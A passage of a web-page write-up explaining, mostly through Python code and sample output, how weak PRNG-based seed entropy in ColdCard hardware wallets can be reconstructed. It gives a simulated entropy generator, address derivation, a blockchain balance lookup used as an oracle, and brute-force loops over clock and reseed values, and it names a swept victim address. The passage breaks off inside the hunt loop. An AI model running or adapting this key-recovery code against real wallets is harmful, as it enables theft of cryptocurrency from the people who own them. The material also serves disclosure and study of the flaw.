</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">MicroPython source</a>.</p>
<p><strong>State example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. From RNG state to ColdCard entropy<span class="hx:absolute hx:-mt-20" id="2-from-rng-state-to-coldcard-entropy"></span>
    <a href="#2-from-rng-state-to-coldcard-entropy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simulates what the ColdCard did to generate the 32 entropy bytes.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython initializes its Yasmarang with:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU keeps a second Yasmarang with public constants.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Each 32-bit word is: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - On Mk4/Q/Mk5, reseed changes the libNgU &#39;pad&#39; state.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() in the firmware only overwrites yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># The ColdCard may make extra calls before generating the seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). In practice the attacker models the exact call history.</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Here we simplify to 8 words = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> builds the initial state. The MicroPython <code>pad</code> is <code>UID_low32 ^ SysTick</code>; <code>n</code> and <code>d</code> come from the RTC. <code>libNgU</code> enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. From entropy to a Bitcoin address<span class="hx:absolute hx:-mt-20" id="3-from-entropy-to-a-bitcoin-address"></span>
    <a href="#3-from-entropy-to-a-bitcoin-address" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
</span></span></span><span class="line"><span class="cl"><span class="s2">    and the first native SegWit receiving and change addresses.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Query the public blockchain as an oracle<span class="hx:absolute hx:-mt-20" id="4-query-the-public-blockchain-as-an-oracle"></span>
    <a href="#4-query-the-public-blockchain-as-an-oracle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True if the address has any UTXO according to mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;error querying&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.</p>
<p><strong>Non-hit example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker discards it and moves to the next candidate.</p>
<p><strong>Hit example</strong> (the real victim address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, before the sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>When <code>has_utxo</code> returns <code>True</code>, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.</p>
<h3>5. Enumerate candidates and hunt<span class="hx:absolute hx:-mt-20" id="5-enumerate-candidates-and-hunt"></span>
    <a href="#5-enumerate-candidates-and-hunt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    In practice the attacker uses GPUs/FPGAs and constrains the UID from
</span></span></span><span class="line"><span class="cl"><span class="s2">    the device serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
</span></span></span><span class="line"><span class="cl"><span class="s2">    the 2^32 possible secure-element reseed values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
